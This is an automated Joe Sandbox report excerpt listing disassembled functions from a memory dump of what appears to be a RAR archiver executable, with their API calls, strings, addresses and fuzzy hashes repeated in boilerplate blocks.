Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: 41967c4cfece844e9e60fb7580ce40b35ceb9cc7a7776e0bae41eece92730556
Instruction ID: 8b3e03ebdd265daaa9c0670bc78479e0716da6ae53bea0f122e34cd418b23e51
Opcode Fuzzy Hash: 41967c4cfece844e9e60fb7580ce40b35ceb9cc7a7776e0bae41eece92730556
Instruction Fuzzy Hash: 99314C66B146518DFB20CFB5D8801BC37B0FB08B48B54506AEE0ED7A58EF38D895C301

Function 00007FF69A41EB40 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 187COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF69A3E72C4: new.LIBCMT ref: 00007FF69A3E73DE

new.LIBCMT ref: 00007FF69A41EBB4

Strings

exe, xrefs: 00007FF69A41ECDC
rar, xrefs: 00007FF69A41ECF2
rebuilt., xrefs: 00007FF69A41ECA3
sfx, xrefs: 00007FF69A41ECC9

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID:
String ID: exe$rar$rebuilt.$sfx
API String ID: 0-13699710
Opcode ID: 7f1be941d93c512069e4008a9a1ae17aa217bb635e404a929dbcb5c6f0d65e8f
Instruction ID: 3e82f110262750dd5c3503597771cbc9f7957b99a10512f95b93d84813324595
Opcode Fuzzy Hash: 7f1be941d93c512069e4008a9a1ae17aa217bb635e404a929dbcb5c6f0d65e8f
Instruction Fuzzy Hash: 0681B266A0C68285EB70DB24D8122F933D2FF95B88F5041F5DA4DCB6CADE2DE616C740

Function 00007FF69A43E0C0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 164COMMON

Download Yara Rule

APIs

abort.LIBCMT ref: 00007FF69A43E0F4
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF69A43E1BC
RtlUnwindEx.KERNEL32 ref: 00007FF69A43E20B

Strings

csm, xrefs: 00007FF69A43E1A2
f, xrefs: 00007FF69A43E13A

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: CurrentImageNonwritableUnwindabort
String ID: csm$f
API String ID: 3913153233-629598281
Opcode ID: cb6d980e5d8e076ab593136caf69effa74300e2f691bd4e1b53b09370fd6a73c
Instruction ID: 69408652c9e7692775685ec532c07981c1118dff801065884a43cfff38210ef4
Opcode Fuzzy Hash: cb6d980e5d8e076ab593136caf69effa74300e2f691bd4e1b53b09370fd6a73c
Instruction Fuzzy Hash: F5619F36A0A64286EB34DF25E645A7977D1FB44F98F1485F0EE9A87788DF38F8418700

Function 00007FF69A3FEA18 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 79COMMON

Download Yara Rule

APIs

GetFileSecurityW.ADVAPI32(?,00007FF69A3FEBC2), ref: 00007FF69A3FEA7C
GetFileSecurityW.ADVAPI32(?,00007FF69A3FEBC2), ref: 00007FF69A3FEABC
GetSecurityDescriptorLength.ADVAPI32(?,00007FF69A3FEBC2), ref: 00007FF69A3FEB0A

Strings

ACL, xrefs: 00007FF69A3FEB39
, xrefs: 00007FF69A3FEAE3

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: Security$File$DescriptorLength
String ID: $ACL
API String ID: 2361174398-1852320022
Opcode ID: 99ab71e5ccbbe398f237f971ffe9b39aed517989f3bcccf534b2133dda1e344d
Instruction ID: 68efaad5305c8b772e33ab37127efbf257ba96b3cdfef53a2c57db61c53d6172
Opcode Fuzzy Hash: 99ab71e5ccbbe398f237f971ffe9b39aed517989f3bcccf534b2133dda1e344d
Instruction Fuzzy Hash: 84314061A19A8196FB30DB21E5553E977E4FB88B84F8040F9EA8DC3656DF3CE605C740

Function 00007FF69A3E7188 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 62libraryloaderCOMMON

Download Yara Rule

APIs

CompareStringOrdinal.KERNEL32 ref: 00007FF69A3E722B

Part of subcall function 00007FF69A406754: GetVersionExW.KERNEL32 ref: 00007FF69A406785

GetModuleHandleW.KERNEL32(?,?,?,?,?,00007FF69A3E68EB), ref: 00007FF69A3E71CB
GetProcAddress.KERNEL32(?,?,?,?,?,00007FF69A3E68EB), ref: 00007FF69A3E71E0

Strings

kernel32.dll, xrefs: 00007FF69A3E71C4
CompareStringOrdinal, xrefs: 00007FF69A3E71D6

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: AddressCompareHandleModuleOrdinalProcStringVersion
String ID: CompareStringOrdinal$kernel32.dll
API String ID: 2522007465-2120454788
Opcode ID: 824e27df19e18241d1aa3afc9b2dae14d8d279d2568df75994383969d477b6a0
Instruction ID: 97d2e97d0736497e3de729ccf9a83e80050e66111fd522d7c012b4d3456a5a45
Opcode Fuzzy Hash: 824e27df19e18241d1aa3afc9b2dae14d8d279d2568df75994383969d477b6a0
Instruction Fuzzy Hash: 2B217C65A0DA4286EA319B11B84827877E1FF91FC0F6441F9EA5DC3B94EF2CE9468300

Function 00007FF69A42BE3C Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF69A42BC8C: FileTimeToLocalFileTime.KERNEL32 ref: 00007FF69A42BCEF
Part of subcall function 00007FF69A42BC8C: FileTimeToSystemTime.KERNEL32 ref: 00007FF69A42BD68

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF69A42BEAE
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF69A42BED8

Strings

????-??-?? ??:??, xrefs: 00007FF69A42BEDF
%u-%02u-%02u %02u:%02u:%02u,%09u, xrefs: 00007FF69A42BE80
%u-%02u-%02u %02u:%02u, xrefs: 00007FF69A42BEB8

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: Time$File$swprintf$LocalSystem
String ID: %u-%02u-%02u %02u:%02u$%u-%02u-%02u %02u:%02u:%02u,%09u$????-??-?? ??:??
API String ID: 1364621626-1794493780
Opcode ID: c631e38674febfb764440a3499547548297e94e1d6d8b8a415d39587179a0b79
Instruction ID: cc425bf0241a520b2998685b4a4d8ec779afbc5329d12d9e24ded7dcfa842747
Opcode Fuzzy Hash: c631e38674febfb764440a3499547548297e94e1d6d8b8a415d39587179a0b79
Instruction Fuzzy Hash: 7821F576A182418EE760CF65E480AAD77F0F748B94F1450B6EE48D3B48DF38E8428F10

Function 00007FF69A4424D4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF69A4424F4
GetProcAddress.KERNEL32 ref: 00007FF69A44250A
FreeLibrary.KERNEL32 ref: 00007FF69A44252F

Strings

CorExitProcess, xrefs: 00007FF69A442503
mscoree.dll, xrefs: 00007FF69A4424EB

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 62fc0dfec48af2956ca19e77247605bed92fa0407192cbb5e3de02daf22cabb6
Instruction ID: 2ecd09dbb9695b7fa60be971a207b4ba4ae153d785bcf49c3b425d6dec47c0ab
Opcode Fuzzy Hash: 62fc0dfec48af2956ca19e77247605bed92fa0407192cbb5e3de02daf22cabb6
Instruction Fuzzy Hash: 91F04925A19A4281EFA98F11F49027973E0EF88F80F4820F9EA4FC6664DE3CE484C700

Function 00007FF69A44C654 Relevance: 7.8, APIs: 5, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aecc19a358617ecaa8b6bbce6cc459dc0080c4c1e8e9e85a1fab47fbb6b6c597
Instruction ID: 664437afd38555c0b9faaf903acfe0f0719bf45de2e0511d9b149e3f91e2a332
Opcode Fuzzy Hash: aecc19a358617ecaa8b6bbce6cc459dc0080c4c1e8e9e85a1fab47fbb6b6c597
Instruction Fuzzy Hash: 68A1B962A4878296FB708F6190403BA76E1EF44FA4F4846F6DA6D877D5EF7CE4448340

Function 00007FF69A447AB4 Relevance: 7.7, APIs: 5, Instructions: 203COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF69A447AF9

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: d6b863787b9640c79ee2b1febadb7c504d9673d6b028f9ef991185c259ef8196
Instruction ID: f5412006c9c488846f5223d8a9387dafb6eb95a8c8df2e095162876a2ece0eec
Opcode Fuzzy Hash: d6b863787b9640c79ee2b1febadb7c504d9673d6b028f9ef991185c259ef8196
Instruction Fuzzy Hash: 0581C962E28A528AF7309F6598806BD76E6FB44F88F4441F5DE0E93791DF3CA462C310

Function 00007FF69A447428 Relevance: 7.6, APIs: 5, Instructions: 142fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,00007FF69A447C5B), ref: 00007FF69A447485
WideCharToMultiByte.KERNEL32 ref: 00007FF69A447561
WriteFile.KERNEL32 ref: 00007FF69A447587
WriteFile.KERNEL32 ref: 00007FF69A4475C6
GetLastError.KERNEL32 ref: 00007FF69A4475FE

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiWide
String ID:
API String ID: 3659116390-0
Opcode ID: 96f561c31132e0ea19a5ef4c1750fe83e0f57ac60b3e80aac86a7179c63ec212
Instruction ID: e6da8d877130ce1fdeb539ee070e2cb83bcf3d2596591ca60e813c608ede6aa8
Opcode Fuzzy Hash: 96f561c31132e0ea19a5ef4c1750fe83e0f57ac60b3e80aac86a7179c63ec212
Instruction Fuzzy Hash: 8B51BD72E14A518AF721CF25E8443AC7BF2FB48B98F0481B5DE4A97A99DF38D152C700

Function 00007FF69A3F80C0 Relevance: 7.6, APIs: 5, Instructions: 118fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF69A3F814D
CharToOemA.USER32 ref: 00007FF69A3F81D8
WriteFile.KERNEL32 ref: 00007FF69A3F81FB
GetStdHandle.KERNEL32 ref: 00007FF69A3F8242
WriteConsoleW.KERNEL32 ref: 00007FF69A3F8266

Part of subcall function 00007FF69A42D840: WideCharToMultiByte.KERNEL32 ref: 00007FF69A42D871

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: CharHandleWrite$ByteConsoleFileMultiWide
String ID:
API String ID: 643171463-0
Opcode ID: 654297ad72194e14295c68420ac164d852ec9683f320a24142875de6632070b4
Instruction ID: e487865da40d784138d5f7251e26e484039622b4bca566e7376054ba1f647f08
Opcode Fuzzy Hash: 654297ad72194e14295c68420ac164d852ec9683f320a24142875de6632070b4
Instruction Fuzzy Hash: 0341C161E18A4242FA349B21E9012BA72E0EF45FA0F0013F9EEAED77D5DE3CA5459740

Function 00007FF69A4469B4 Relevance: 7.6, APIs: 5, Instructions: 114libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF69A446AD6

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: 0e6eb9f6afd3336ef7fae7e3833685d0b95f626a5f44511e493326727d516b6b
Instruction ID: e796b930024e704d0c1a95636fc3938ac0e62554bc4ff29ceaf21bc0295b5e64
Opcode Fuzzy Hash: 0e6eb9f6afd3336ef7fae7e3833685d0b95f626a5f44511e493326727d516b6b
Instruction Fuzzy Hash: 6641BE61B0AA4296FA358F46A8006B5B2E5FF46F90F1985F5DE5ECF384EE3CE4409340

Function 00007FF69A44DC20 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF69A44DC47
_set_statfp.LIBCMT ref: 00007FF69A44DC62
_set_statfp.LIBCMT ref: 00007FF69A44DC7E
_set_statfp.LIBCMT ref: 00007FF69A44DCBA

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 70895f6a6caca5a93f387097b68bfd30b7bf4dd7af3bc8c27b3038974be86bdd
Instruction ID: 1ec67044753a835385304de6d7fb620fa42dc1a0aa4eb228cf1476f9d2068d9c
Opcode Fuzzy Hash: 70895f6a6caca5a93f387097b68bfd30b7bf4dd7af3bc8c27b3038974be86bdd
Instruction Fuzzy Hash: E0115476F1CA0385F6741A24EC9637931C1EF95FA4E0846F4E96EC76D6CEACA4405301

Function 00007FF69A3F7514 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 189COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF69A42CD7C: MessageBeep.USER32(?,?,?,?,00007FF69A3FCA56,?,?,?,00007FF69A42B9B7), ref: 00007FF69A42CD9E

wcschr.LIBVCRUNTIME ref: 00007FF69A3F7597
wcschr.LIBVCRUNTIME ref: 00007FF69A3F768D

Strings

[%c]%ls, xrefs: 00007FF69A3F7743
(, xrefs: 00007FF69A3F7754

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: wcschr$BeepMessage
String ID: ($[%c]%ls
API String ID: 1408639281-228076469
